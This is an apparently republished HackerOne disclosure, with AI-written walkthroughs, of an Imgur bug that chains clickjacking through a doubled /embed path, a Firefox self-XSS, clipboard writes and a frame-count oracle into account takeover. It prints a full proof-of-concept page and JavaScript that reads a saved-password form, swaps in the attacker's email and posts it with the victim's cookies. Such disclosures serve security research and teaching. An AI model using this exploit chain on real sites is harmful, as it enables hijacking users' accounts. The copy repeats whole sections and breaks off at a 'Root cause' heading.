Skip to content
XSS Disclosed report Advanced

self-xss with ClickJacking can leads to account takeover in Firefox

The report describes a clickjacking weakness on imgur.com that lets an attacker frame the site, combined with a self-XSS in the Firefox beta upload page and a clipboard trick, so a victim can be walked into pasting a malicious payload. With saved Firefox passwords, the attacker could read the password form and change the victim's password, leading to account takeover.

keer0k Follow

Originally disclosed on HackerOne

  • Triaged in 3 hours
  • Fixed in 4 months
  • Paid in 3 days
  • Disclosed after 5 months

Description

Hi, i think i found a valid chaining issues here

ClickJacking issue

I discovered that have some endpoints that permits to frame imgur.com with some limitations, but even in this case, it is possible to carry out a proof of concept.

One of the cases is in the /all/ directory of user.imgur.com, but in these cases we would be able to make the vulnerability only for a specific user and we would need to fix his subdomain.

The other case is when we enter the embed page of an image, such as /a/IMAGE_ID/embed, when we request a page like this, we are usually given the following result:

However, by adding a /embed it is possible to open the imgur.com page where the image is located next to the full post, this allows us to access the main domain menu without being blocked byX-Frame-Options.

I'm not sure how X-Frame-Options is really acting on this web app, but I'm sure it shouldn't be allowed!

ex:

<iframe src=http://imgur.com/a/lz8DAkB/embed/embed?pub=true&ref=http%3A%2F%2Flocalhost%2Fembed.html&w=540></iframe>

DOM-Based Self-XSS

There is a self-xss specifically when uploading an image in the beta version of the upload, it is available using Firefox (I couldn't find it in Chrome or Safari) I don't know exactly where XSS happens, but I managed to bypass his rule with the following payload:

<<!<script>iframe src=javajavascriptscript:alert(document.domain)>

frame counting

I realized that there is a big difference in frames on some pages, especially on the upload? Beta page in relation to the others, because on most other pages we have at least more than 3 frames, while on the upload? Beta page we have only 1 frame, and this helped me because I was able to detect the movement I wanted inside an iframe.

With that, when we are framing / a / IMAGE_ID / embed / embed I know that there is more than one frame on the page, and when I click to enter the upload? Beta, the iframe will have only one frame inside so I get to know which page the user is on.

ex:

<iframe id=ifr></iframe>
<script>
ifr.onload=function(){
    console.log(ifr.contentWindow.frames.length);
}
</script>

clipboard trick

I used the navigator.clipboard.writeText() API so that I can write a text on the victim's clipboard, making this text the Self-XSS payload.

However, the user needs to allow the use of the clipboard API on the page, to allow this use, a message will appear in the top corner of the browser, asking if you allow it or not, of course in this case, we are thinking of a scenario where the user allows this utility.

ex:

<script>
setInterval(function(){
    
    navigator.clipboard.writeText("PAYLOAD").then(function(text){console.log(text)});

},1000)
</script>

saved passwords in firefox

There is the possibility that the user has saved the password in the browser, and when that happens, in firefox the password is recorded in the input, so in this case it is possible to make an account takeover in the imgur account. On the other hand, when it doesn't, it is still possible to do XSS.

PoC code

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>PoC</title>
    <style media="screen">
      iframe{
        opacity: 50%;
        width: 1000px;
        height: 500px;

      }
      #content{
        position: relative;
      }
      #btn1{
        position:absolute;
        top: 30px;
        left: 170px;
        vertical-align: middle;
        padding: 0px;
        background-color: #7a297a;
        color:white;
        border: 2px solid #7a297a;
        border-radius: 25px;
        font-size: 20px;
      }
      #btn2{
        position:absolute;
        top: 120px;
        left: 170px;
        vertical-align: middle;
        padding: 0px;
        background-color: #7a297a;
        color:white;
        border: 2px solid #7a297a;
        border-radius: 25px;
        font-size: 20px;
      }
    </style>
  </head>
  <body>

      <div id="btn1">Click Here</div>
    <div id=content>
      <div id="btn2">

      </div>
    <blockquote id="block" class="imgur-embed-pub" lang="en" data-id="a/lz8DAkB/embed">
      <a href="//imgur.com/a/xx">Life is not the same without your loved ones ...</a>
    </blockquote>

      </div>
    <br><br>
    <p style="color: red">copy this text</p>

    <input type="text" name="" value="https://images.pexels.com/photos/1108099/pexels-photo-1108099.jpeg?<<iframe/src=javascript:self.innerHTML=parent.name>img/src=x>">
    <img src=boa.jpeg>
    <script async src="//s.imgur.com/min/embed.js" charset="utf-8"></script>
    <script type="text/javascript">
    var i = 0;
    var j = 0;
    var ifr = '';
    var x = 0;
    setTimeout(function(){
      ifr = document.querySelector('iframe');
      ifr.style="";
      ifr.removeAttribute("sandbox");
      console.log(ifr);
    },4000)

    setInterval(function(){
      navigator.clipboard.writeText("<<!<script>iframe src=javajavascriptscript:alert(document.domain)>").then(function(text){console.log(text)})
    },1000)
    setInterval(function(){
      if(i==2){
        console.log("stop counter...");
      }
      if(x!=1){
        if(ifr.contentWindow.frames.length==1){
          console.log("page change!");
          btn1.innerHTML="drag the image to here!";
          x=1;
        }
      }

    },1000)

      onmessage=function(event){
        console.log(event);
        i++;
      }

      onpaste=function(){
        console.log("ONPASTE!");
      }

      ondragend=function(){

        btn1.innerHTML="";
        setTimeout(function(){
          btn1.innerHTML="";

          btn2.innerHTML="copy the red text and paste here after that, press enter!";
        },1100)
      }

    </script>
  </body>
</html>

Video:

imgur_poc.mov From the original on HackerOne

Para conseguir o account takeover usando esse XSS ainda é necessario abrir uma nova window com window.open("https://imgur.com/account/settings/password ","_blank") e depois implementar o seguinte código para conseguir ler os dados presentes nos inputs:

  forms = ifr.contentDocument.getElementsByTagName("form")[5];
        inputs = forms.getElementsByTagName("input");body = "";
        for(var i =0; i < inputs.length; i++){
          if(inputs[i].name=="email"){
              inputs[i].value="keerok%40protonmail.com";
          }
          body +=inputs[i].name+"="+inputs[i].value+"&";
        }
        body += "_jafo%5BactiveExperiments%5D=%5B%5D&_jafo%5BexperimentData%5D=%7B%7D";

        await fetch("https://imgur.com/account/settings/password", {
          "credentials": "include",
          "headers": {
              "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0",
              "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
              "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3",
              "Content-Type": "application/x-www-form-urlencoded",
              "Upgrade-Insecure-Requests": "1"
          },
          "referrer": "https://imgur.com/account/settings/password",
          "body": body,
          "method": "POST",
          "mode": "cors"
        });

Using the same clickjacking trick it is possible to get another xss with less user interaction, I will put this other method in the comments

Steps to reprocuce - whitout account takeover

  1. click in click here
  2. drag the image to the text "drag image here"
  3. copy the red text to "paste here"
  4. press enter or click in any other local of the page
  5. XSS will be triggered

Impact

Account takeover and the attacker can perform malicious action in the victim account

The original report as published on HackerOne, by keer0k. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Imgur is an image hosting and sharing service. The report looks at two features: the embed page for an album or image, reachable under a path like /a/IMAGE_ID/embed, and the beta version of the upload page. The embed page is meant to be included in third-party sites through an iframe, which is why framing behaviour matters there. The upload beta page is the place where a user uploads new images.

The researcher chains a clickjacking weakness with a DOM-based self-XSS in Firefox to reach account takeover when the victim has a saved password in the browser.

Setup

The self-XSS was only found in Firefox; the researcher states it was not reproducible in Chrome or Safari. The proof of concept relies on the victim allowing the clipboard API on the attacker page, because navigator.clipboard.writeText() needs that permission. The account takeover path additionally depends on the victim having a saved password in Firefox, which the browser then fills into the password input.

Finding it

The researcher noticed that some endpoints allow imgur.com to be framed, with limitations. One case is the /all/ directory of user.imgur.com, but that would only work against a specific user and would require fixing their subdomain. The more useful case is the embed page of an image, such as /a/IMAGE_ID/embed.

When a page like that is requested normally, the result is shown in the report. By adding a second /embed to the path, it becomes possible to open the imgur.com page where the image sits next to the full post. That gives access to the main domain menu without being blocked by X-Frame-Options. The researcher is explicit that they are not sure how X-Frame-Options is really acting on the application, but that this should not be allowed.

HTML
<iframe src=http://imgur.com/a/lz8DAkB/embed/embed?pub=true&ref=http%3A%2F%2Flocalhost%2Fembed.html&w=540></iframe>

The iframe points at the doubled /embed path with the usual embed parameters (pub, ref, w). The important part is the extra /embed segment, which produces a frameable page on the main domain.

Separately, there is a DOM-based self-XSS when uploading an image in the beta version of the upload. The researcher does not know exactly where the XSS happens, but managed to bypass the rule with this payload:

Text
<<!<script>iframe src=javajavascriptscript:alert(document.domain)>

Exploitation

Step 1: frame the target and count frames

The researcher observed a large difference in the number of frames between pages. Most pages have at least more than three frames, while the upload beta page has only one. That difference is used as an oracle: when framing /a/IMAGE_ID/embed/embed there is more than one frame on the page, and once the user navigates to the upload beta page the iframe contains only one frame, so the attacker page knows which page the victim is on.

HTML
<iframe id=ifr></iframe>
<script>
ifr.onload=function(){
    console.log(ifr.contentWindow.frames.length);
}
</script>

The onload handler reads ifr.contentWindow.frames.length and logs it, which is the measurement the rest of the PoC polls.

Step 2: write the payload to the clipboard

The navigator.clipboard.writeText() API is used to place the self-XSS payload on the victim's clipboard. The victim has to allow clipboard use on the page; a message appears in the top corner of the browser asking whether to allow it, and the scenario assumes the user allows it.

HTML
<script>
setInterval(function(){

    navigator.clipboard.writeText("PAYLOAD").then(function(text){console.log(text)});

},1000)
</script>

The interval rewrites the clipboard every second, so the payload is there whenever the victim pastes.

Step 3: the full proof of concept

The PoC page frames the embed, removes the sandbox from the iframe after a delay, keeps writing the payload to the clipboard, watches the frame count to detect the page change, and walks the victim through a drag and a paste.

HTML
<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>PoC</title>
    <style media="screen">
      iframe{
        opacity: 50%;
        width: 1000px;
        height: 500px;

      }
      #content{
        position: relative;
      }
      #btn1{
        position:absolute;
        top: 30px;
        left: 170px;
        vertical-align: middle;
        padding: 0px;
        background-color: #7a297a;
        color:white;
        border: 2px solid #7a297a;
        border-radius: 25px;
        font-size: 20px;
      }
      #btn2{
        position:absolute;
        top: 120px;
        left: 170px;
        vertical-align: middle;
        padding: 0px;
        background-color: #7a297a;
        color:white;
        border: 2px solid #7a297a;
        border-radius: 25px;
        font-size: 20px;
      }
    </style>
  </head>
  <body>

      <div id="btn1">Click Here</div>
    <div id=content>
      <div id="btn2">

      </div>
    <blockquote id="block" class="imgur-embed-pub" lang="en" data-id="a/lz8DAkB/embed">
      <a href="//imgur.com/a/xx">Life is not the same without your loved ones ...</a>
    </blockquote>

      </div>
    <br><br>
    <p style="color: red">copy this text</p>

    <input type="text" name="" value="https://images.pexels.com/photos/1108099/pexels-photo-1108099.jpeg?<<iframe/src=javascript:self.innerHTML=parent.name>img/src=x>">
    <img src=boa.jpeg>
    <script async src="//s.imgur.com/min/embed.js" charset="utf-8"></script>
    <script type="text/javascript">
    var i = 0;
    var j = 0;
    var ifr = '';
    var x = 0;
    setTimeout(function(){
      ifr = document.querySelector('iframe');
      ifr.style="";
      ifr.removeAttribute("sandbox");
      console.log(ifr);
    },4000)

    setInterval(function(){
      navigator.clipboard.writeText("<<!<script>iframe src=javajavascriptscript:alert(document.domain)>").then(function(text){console.log(text)})
    },1000)
    setInterval(function(){
      if(i==2){
        console.log("stop counter...");
      }
      if(x!=1){
        if(ifr.contentWindow.frames.length==1){
          console.log("page change!");
          btn1.innerHTML="drag the image to here!";
          x=1;
        }
      }

    },1000)

      onmessage=function(event){
        console.log(event);
        i++;
      }

      onpaste=function(){
        console.log("ONPASTE!");
      }

      ondragend=function(){

        btn1.innerHTML="";
        setTimeout(function(){
          btn1.innerHTML="";

          btn2.innerHTML="copy the red text and paste here after that, press enter!";
        },1100)
      }

    </script>
  </body>
</html>

The page loads Imgur's embed script from //s.imgur.com/min/embed.js and includes a blockquote with data-id="a/lz8DAkB/embed". After four seconds the script grabs the resulting iframe, clears its inline style and removes the sandbox attribute. A one-second interval keeps writing the self-XSS payload to the clipboard. Another interval polls ifr.contentWindow.frames.length; when it equals one, the page has changed to the upload beta page, and the instruction on btn1 changes to ask the victim to drag the image. The onmessage handler counts messages, onpaste logs the paste, and ondragend swaps the instruction to ask the victim to copy the red text and paste it, then press enter.

imgur_poc.mov From the original on HackerOne

The video shows the proof of concept running.

Step 4: account takeover

If the user has a saved password in Firefox, the password is recorded in the input, and in that case it is possible to take over the Imgur account. When there is no saved password, it is still possible to trigger the XSS.

To get the account takeover with this XSS, the researcher opens a new window with window.open("https://imgur.com/account/settings/password ","_blank") and then reads the data present in the inputs with the following code:

JavaScript
  forms = ifr.contentDocument.getElementsByTagName("form")[5];
        inputs = forms.getElementsByTagName("input");body = "";
        for(var i =0; i < inputs.length; i++){
          if(inputs[i].name=="email"){
              inputs[i].value="keerok%40protonmail.com";
          }
          body +=inputs[i].name+"="+inputs[i].value+"&";
        }
        body += "_jafo%5BactiveExperiments%5D=%5B%5D&_jafo%5BexperimentData%5D=%7B%7D";

        await fetch("https://imgur.com/account/settings/password", {
          "credentials": "include",
          "headers": {
              "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0",
              "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
              "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3",
              "Content-Type": "application/x-www-form-urlencoded",
              "Upgrade-Insecure-Requests": "1"
          },
          "referrer": "https://imgur.com/account/settings/password",
          "body": body,
          "method": "POST",
          "mode": "cors"
        });

The code takes the sixth form on the framed page, iterates over its inputs, replaces the value of the email input with the attacker's address, and builds a URL-encoded body from every input name and value. It appends the _jafo experiment fields, then POSTs the body to the password settings endpoint with credentials: "include" so the victim's cookies are sent, and with a Firefox 75 user agent and referrer matching the settings page.

The researcher notes that the same clickjacking trick allows another XSS with less user interaction, to be described in the comments.

Steps to reproduce without account takeover

  1. Click in click here.
  2. Drag the image to the text "drag image here".
  3. Copy the red text to "paste here".
  4. Press enter or click in any other local of the page.
  5. XSS will be triggered.

Root cause

The researcher found that appending a second /embed produces a page on the main domain that can be framed, but states they are not sure how X-Frame-Options is really acting on the application. The researcher does not determine how X-Frame-Options is applied across the application, so the exact reason the doubled path escapes it is not established in the report.

The self-XSS is DOM-based and specific to the upload beta page in Firefox. The researcher states they do not know exactly where the XSS happens, only that the payload above bypasses the rule in place. The chain works because the clipboard holds the payload while the victim is guided through a drag and a paste, and because the frame count distinguishes the upload beta page from other pages.

Impact

Account takeover: the attacker can perform malicious actions in the victim's account. This requires the victim to allow clipboard access on the attacker page and, for the takeover itself, to have a saved password in Firefox. Without a saved password, the XSS can still be triggered.

Fix

The report does not describe a fix or a change made by the vendor.

Variants to test

  • Append a duplicate path segment to other embed or share routes and check whether the resulting page can be framed. A positive result is an iframe that renders the main domain page instead of being blocked by X-Frame-Options.
  • Compare frame counts between pages of a target to find pages that stand out. A positive result is a page whose frame count differs reliably from the rest and can be used as a navigation oracle.
  • Test self-XSS payloads with nested or doubled tokens such as the one in this report against input filters in different browsers. A positive result is script execution in the origin after a paste.
  • Check whether clipboard writes can be combined with drag and paste interactions on framed pages. A positive result is the victim pasting attacker-controlled text into a field of the framed origin.
  • Look for password settings or profile forms that accept a full form body and can be submitted cross-origin with credentials. A positive result is a state change on the victim account from an attacker-controlled page.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

Imgur is a website where people upload and share images. This report describes a chain of small weaknesses that, put together, let an attacker take over a victim's Imgur account. None of the pieces is dramatic on its own. The first piece lets an attacker put an Imgur page inside their own web page, which Imgur normally tries to prevent. The second piece is a way to make a small piece of JavaScript run inside Imgur's own pages, but only after the victim pastes it there themselves. The third piece is a trick to get the victim to paste that text without realising what it is. The last piece is the victim's browser filling in a saved password into the input, which the attacker's code then submits.

To follow the report you only need to know what a web page, a browser tab and a form are. Everything else is explained as it comes up.

The two Imgur features involved

The report looks at two parts of Imgur.

The first is the embed page. When someone wants to show an Imgur image on their own blog or forum, they do not copy the image itself; they copy a small snippet of HTML that tells the browser to load a special Imgur page inside a box. That box is called an iframe: a window inside a window, showing another website's page. The embed page lives under a path like /a/IMAGE_ID/embed, where IMAGE_ID is the identifier of a particular album or image. Because embed pages are designed to be shown inside other people's sites, the question of whether Imgur allows its pages to be framed matters a lot there.

The second is the upload beta page, the experimental version of the page where a user uploads new images.

The researcher combines a clickjacking weakness with a DOM-based self-XSS in Firefox, and reaches account takeover when the victim has a saved password in the browser.

The concepts you need first

  • Iframe: a rectangular area inside a web page that displays another web page. Think of a picture frame hanging on a wall: the wall is the attacker's page, the picture inside the frame is Imgur.
  • Framing: loading a site inside an iframe. Some sites forbid it because an attacker could put their own invisible buttons on top of the framed site and trick visitors into clicking things they did not mean to click.
  • Clickjacking: exactly that trick. The attacker frames the real site and overlays their own elements so that a click meant for the attacker's page lands on the real site's button.
  • X-Frame-Options: a response header, that is, a small piece of information a web server sends along with a page, telling the browser whether the page may be shown inside an iframe. It is the lock on the picture frame.
  • XSS (cross-site scripting): making a website run JavaScript that the site's authors did not intend. JavaScript is the programming language browsers run; if an attacker gets their JavaScript to run on a site's page, it runs with that site's powers.
  • Self-XSS: an XSS that only fires if the victim themselves pastes the malicious text into the page. It is considered low risk on its own because nobody pastes code a stranger sends them, or so the reasoning goes. This report is about defeating that reasoning.
  • DOM-based: the flaw lives in the page's DOM, the in-memory tree of elements the browser builds from the HTML. The dangerous value is handled by JavaScript in the browser rather than by the server.
  • Clipboard API: a browser feature, accessed in JavaScript as navigator.clipboard, that lets a page read from and write to the system clipboard (the copy-and-paste buffer). Writing to it requires the user's permission.
  • Account takeover: getting control of someone else's account, here by changing the email and password so the real owner is locked out.

Setup

The self-XSS was only found in Firefox; the researcher states it was not reproducible in Chrome or Safari. The proof of concept relies on the victim allowing the clipboard API on the attacker page, because navigator.clipboard.writeText() needs that permission. The account takeover path additionally depends on the victim having a saved password in Firefox, which the browser then fills into the password input.

Finding it

The researcher noticed that some endpoints allow imgur.com to be framed, with limitations. One case is the /all/ directory of user.imgur.com, but that would only work against a specific user and would require fixing their subdomain. The more useful case is the embed page of an image, such as /a/IMAGE_ID/embed.

When a page like that is requested normally, the result is shown in the report. By adding a second /embed to the path, it becomes possible to open the imgur.com page where the image sits next to the full post. That gives access to the main domain menu without being blocked by X-Frame-Options. The researcher is explicit that they are not sure how X-Frame-Options is really acting on the application, but that this should not be allowed.

HTML
<iframe src=http://imgur.com/a/lz8DAkB/embed/embed?pub=true&ref=http%3A%2F%2Flocalhost%2Fembed.html&w=540></iframe>

Line by line:

  1. <iframe ...> opens a frame element. Everything the browser needs is in the src attribute, the address of the page to load inside the frame.
  2. The address is http://imgur.com/a/lz8DAkB/embed/embed. The interesting part is the doubled /embed at the end: the normal embed path is /a/lz8DAkB/embed, and the researcher appends a second /embed segment. That extra segment is what produces a page on the main domain that can be framed.
  3. ?pub=true starts the query string, the part after the question mark that carries parameters. pub=true is one of the usual embed parameters.
  4. &ref=http%3A%2F%2Flocalhost%2Fembed.html is another parameter, ref, whose value is URL-encoded: %3A is a colon and %2F is a slash, so the value decodes to http://localhost/embed.html. It tells the embed where the referring page is.
  5. &w=540 sets the width parameter to 540.
  6. The closing </iframe> ends the element.

Why this step: the attacker needs Imgur's real page inside their own page so they can later overlay buttons and observe what the victim does. The doubled path is the way found to get past the framing protection.

Separately, there is a DOM-based self-XSS when uploading an image in the beta version of the upload. The researcher does not know exactly where the XSS happens, but managed to bypass the rule with this payload:

Text
<<!<script>iframe src=javajavascriptscript:alert(document.domain)>

This is the text that will end up on the victim's clipboard. It is deliberately malformed: the doubled angle brackets and the odd javajavascriptscript spelling are there to slip past whatever filter the page applies. If it works, the browser ends up running alert(document.domain), a popup showing which site the code is running on, which is the classic way to prove script execution.

Exploitation

Step 1: frame the target and count frames

The researcher observed a large difference in the number of frames between pages. Most pages have at least more than three frames, while the upload beta page has only one. That difference is used as an oracle: when framing /a/IMAGE_ID/embed/embed there is more than one frame on the page, and once the user navigates to the upload beta page the iframe contains only one frame, so the attacker page knows which page the victim is on.

An oracle here just means a way to ask the browser a yes/no question and get an answer. The attacker cannot read the framed Imgur page's contents, but the number of frames inside it is something the browser will report.

HTML
<iframe id=ifr></iframe>
<script>
ifr.onload=function(){
    console.log(ifr.contentWindow.frames.length);
}
</script>

Line by line:

  1. <iframe id=ifr> creates a frame and gives it the name ifr so the script can refer to it.
  2. <script> starts a block of JavaScript.
  3. ifr.onload=function(){ ... } says: when the frame finishes loading a page, run this function.
  4. ifr.contentWindow is the window object of the page inside the frame, and .frames.length counts how many frames that inner page contains.
  5. console.log(...) prints that number to the browser's developer console, where the researcher can watch it.

Why this step: the attacker page needs to know when the victim has moved from the embed page to the upload beta page, because the next instructions only make sense on the upload page. The frame count is the signal.

Step 2: write the payload to the clipboard

The navigator.clipboard.writeText() API is used to place the self-XSS payload on the victim's clipboard. The victim has to allow clipboard use on the page; a message appears in the top corner of the browser asking whether to allow it, and the scenario assumes the user allows it.

HTML
<script>
setInterval(function(){

    navigator.clipboard.writeText("PAYLOAD").then(function(text){console.log(text)});

},1000)
</script>

Line by line:

  1. <script> opens the script block.
  2. setInterval(function(){ ... },1000) asks the browser to run the function inside the braces every 1000 milliseconds, that is, every second.
  3. navigator.clipboard.writeText("PAYLOAD") writes the text PAYLOAD to the clipboard. In the real attack this placeholder is replaced by the self-XSS payload.
  4. .then(function(text){console.log(text)}) runs after the write succeeds and logs the result, so the researcher can see it worked.

Why this step: the victim will paste at some moment the attacker cannot predict exactly, so the clipboard is refreshed every second to make sure the payload is there when the paste happens.

Step 3: the full proof of concept

The PoC page frames the embed, removes the sandbox from the iframe after a delay, keeps writing the payload to the clipboard, watches the frame count to detect the page change, and walks the victim through a drag and a paste.

HTML
<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>PoC</title>
    <style media="screen">
      iframe{
        opacity: 50%;
        width: 1000px;
        height: 500px;

      }
      #content{
        position: relative;
      }
      #btn1{
        position:absolute;
        top: 30px;
        left: 170px;
        vertical-align: middle;
        padding: 0px;
        background-color: #7a297a;
        color:white;
        border: 2px solid #7a297a;
        border-radius: 25px;
        font-size: 20px;
      }
      #btn2{
        position:absolute;
        top: 120px;
        left: 170px;
        vertical-align: middle;
        padding: 0px;
        background-color: #7a297a;
        color:white;
        border: 2px solid #7a297a;
        border-radius: 25px;
        font-size: 20px;
      }
    </style>
  </head>
  <body>

      <div id="btn1">Click Here</div>
    <div id=content>
      <div id="btn2">

      </div>
    <blockquote id="block" class="imgur-embed-pub" lang="en" data-id="a/lz8DAkB/embed">
      <a href="//imgur.com/a/xx">Life is not the same without your loved ones ...</a>
    </blockquote>

      </div>
    <br><br>
    <p style="color: red">copy this text</p>

    <input type="text" name="" value="https://images.pexels.com/photos/1108099/pexels-photo-1108099.jpeg?<<iframe/src=javascript:self.innerHTML=parent.name>img/src=x>">
    <img src=boa.jpeg>
    <script async src="//s.imgur.com/min/embed.js" charset="utf-8"></script>
    <script type="text/javascript">
    var i = 0;
    var j = 0;
    var ifr = '';
    var x = 0;
    setTimeout(function(){
      ifr = document.querySelector('iframe');
      ifr.style="";
      ifr.removeAttribute("sandbox");
      console.log(ifr);
    },4000)

    setInterval(function(){
      navigator.clipboard.writeText("<<!<script>iframe src=javajavascriptscript:alert(document.domain)>").then(function(text){console.log(text)})
    },1000)
    setInterval(function(){
      if(i==2){
        console.log("stop counter...");
      }
      if(x!=1){
        if(ifr.contentWindow.frames.length==1){
          console.log("page change!");
          btn1.innerHTML="drag the image to here!";
          x=1;
        }
      }

    },1000)

      onmessage=function(event){
        console.log(event);
        i++;
      }

      onpaste=function(){
        console.log("ONPASTE!");
      }

      ondragend=function(){

        btn1.innerHTML="";
        setTimeout(function(){
          btn1.innerHTML="";

          btn2.innerHTML="copy the red text and paste here after that, press enter!";
        },1100)
      }

    </script>
  </body>
</html>

Line by line, in the order the browser meets it:

  1. <!DOCTYPE html> tells the browser this is an HTML5 page. The <head> holds the title and a <style> block.
  2. In the style block, iframe{opacity: 50%; width: 1000px; height: 500px;} makes the frame half transparent and gives it a size. The frame is made half transparent and given a size.
  3. #content{position: relative;} makes the container a reference point for absolutely positioned children.
  4. #btn1 and #btn2 are styled as purple rounded buttons, positioned with position:absolute at fixed offsets (top: 30px; left: 170px; and top: 120px; left: 170px;). These are the fake buttons the victim will see.
  5. In the body, <div id="btn1">Click Here</div> is the first instruction shown to the victim.
  6. <div id=content> wraps the framed area. Inside it, <div id="btn2"> starts empty and is filled later.
  7. The <blockquote id="block" class="imgur-embed-pub" lang="en" data-id="a/lz8DAkB/embed"> is Imgur's standard embed placeholder. The data-id attribute says which album to embed. The <a href="//imgur.com/a/xx"> inside is the fallback link shown if the embed script does not run.
  8. <p style="color: red">copy this text</p> is the red instruction the victim is later told to follow.
  9. The <input type="text" ... value="https://images.pexels.com/photos/1108099/pexels-photo-1108099.jpeg?<<iframe/src=javascript:self.innerHTML=parent.name>img/src=x>"> is a text field pre-filled with a URL that carries a second, different payload in its query string. The input is pre-filled with a URL that carries a second, different payload in its query string.
  10. <img src=boa.jpeg> is an image element on the page.
  11. <script async src="//s.imgur.com/min/embed.js" charset="utf-8"></script> loads Imgur's own embed script, which finds the blockquote and replaces it with the real framed embed. async means the browser does not wait for it before continuing.
  12. The main <script type="text/javascript"> block starts by declaring counters: var i = 0; var j = 0; var ifr = ''; var x = 0;.
  13. setTimeout(function(){ ... },4000) runs once after four seconds. Inside it, ifr = document.querySelector('iframe') finds the iframe that Imgur's embed script created, ifr.style="" clears any inline styling on it, and ifr.removeAttribute("sandbox") removes the sandbox attribute. A sandbox is a restriction the browser can place on the content loaded in a frame to limit what it may do; removing it lifts those limits. console.log(ifr) prints the element for debugging.
  14. The first setInterval(...,1000) writes the self-XSS payload <<!<script>iframe src=javajavascriptscript:alert(document.domain)> to the clipboard every second, exactly as in the earlier snippet.
  15. The second setInterval(...,1000) is the frame-count watcher. if(i==2){console.log("stop counter...");} logs when two messages have arrived. if(x!=1){ ... } makes sure the page-change logic runs only once. Inside, if(ifr.contentWindow.frames.length==1) checks whether the framed page now has exactly one frame, which means the victim has reached the upload beta page. If so, it logs page change!, sets btn1.innerHTML="drag the image to here!" to change the on-screen instruction, and sets x=1 so it does not fire again.
  16. onmessage=function(event){console.log(event); i++;} runs whenever the page receives a message from another window, and counts it in i.
  17. onpaste=function(){console.log("ONPASTE!");} runs when the victim pastes, and logs it.
  18. ondragend=function(){ ... } runs when a drag finishes. It clears btn1, then after 1100 milliseconds clears it again and sets btn2.innerHTML="copy the red text and paste here after that, press enter!", which is the next instruction for the victim.

Why this step: the whole page is a guided tour for the victim. Each instruction appears only when the previous action is done, so the victim is walked from a harmless click, to a drag, to a paste, without ever being told what the paste actually contains.

imgur_poc.mov From the original on HackerOne

The video shows the proof of concept running.

Step 4: account takeover

If the user has a saved password in Firefox, the password is recorded in the input, and in that case it is possible to take over the Imgur account. When there is no saved password, it is still possible to trigger the XSS.

To get the account takeover with this XSS, the researcher opens a new window with window.open("https://imgur.com/account/settings/password ","_blank") and then reads the data present in the inputs with the following code:

JavaScript
  forms = ifr.contentDocument.getElementsByTagName("form")[5];
        inputs = forms.getElementsByTagName("input");body = "";
        for(var i =0; i < inputs.length; i++){
          if(inputs[i].name=="email"){
              inputs[i].value="keerok%40protonmail.com";
          }
          body +=inputs[i].name+"="+inputs[i].value+"&";
        }
        body += "_jafo%5BactiveExperiments%5D=%5B%5D&_jafo%5BexperimentData%5D=%7B%7D";

        await fetch("https://imgur.com/account/settings/password", {
          "credentials": "include",
          "headers": {
              "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0",
              "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
              "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3",
              "Content-Type": "application/x-www-form-urlencoded",
              "Upgrade-Insecure-Requests": "1"
          },
          "referrer": "https://imgur.com/account/settings/password",
          "body": body,
          "method": "POST",
          "mode": "cors"
        });

Line by line:

  1. forms = ifr.contentDocument.getElementsByTagName("form")[5]; reaches into the framed page and takes the sixth form element (counting starts at zero, so [5] is the sixth). A form is the part of a page that collects values and submits them.
  2. inputs = forms.getElementsByTagName("input"); collects every input field inside that form. body = ""; starts an empty string that will become the submitted data.
  3. for(var i =0; i < inputs.length; i++){ ... } loops over every input.
  4. if(inputs[i].name=="email"){ inputs[i].value="keerok%40protonmail.com"; } checks whether the input is the email field and, if so, replaces its value with the attacker's address. %40 is the URL encoding of @.
  5. body +=inputs[i].name+"="+inputs[i].value+"&"; appends name=value& for each input, building the URL-encoded body that a form submission would normally produce.
  6. body += "_jafo%5BactiveExperiments%5D=%5B%5D&_jafo%5BexperimentData%5D=%7B%7D"; appends two extra fields named _jafo[activeExperiments] and _jafo[experimentData] (the brackets are encoded as %5B and %5D, the braces as %7B and %7D), with empty values.
  7. await fetch("https://imgur.com/account/settings/password", { ... }) sends an HTTP request to the password settings page. fetch is the browser's built-in way for JavaScript to make requests. await means the code waits for the answer.
  8. "credentials": "include" is the crucial option: it tells the browser to attach the victim's cookies to the request. Cookies are small pieces of data the browser stores for a site and sends back with every request; they are how a site knows which logged-in user is asking. Without this, the request would be anonymous.
  9. The headers object sets what the request claims about itself: a Firefox 75 User-Agent (the string identifying the browser), the accepted content types, the language, Content-Type: application/x-www-form-urlencoded (the format used for ordinary form submissions), and Upgrade-Insecure-Requests: 1.
  10. "referrer": "https://imgur.com/account/settings/password" claims the request came from the settings page itself.
  11. "body": body sends the assembled form data, "method": "POST" makes it a submission rather than a read, and "mode": "cors" is the standard cross-origin request mode.

The code builds a form body from the framed page's inputs, replaces the email value, and POSTs it to the password settings endpoint with the victim's cookies. Because the request carries the victim's cookies, the server treats it as coming from the logged-in victim.

The researcher notes that the same clickjacking trick allows another XSS with less user interaction, to be described in the comments.

Steps to reproduce without account takeover

  1. Click in click here.
  2. Drag the image to the text "drag image here".
  3. Copy the red text to "paste here".
  4. Press enter or click in any other local of the page.
  5. XSS will be triggered.

These are the same actions the PoC page guides the victim through. The XSS fires on the Imgur page once the pasted text is processed there.

Root cause

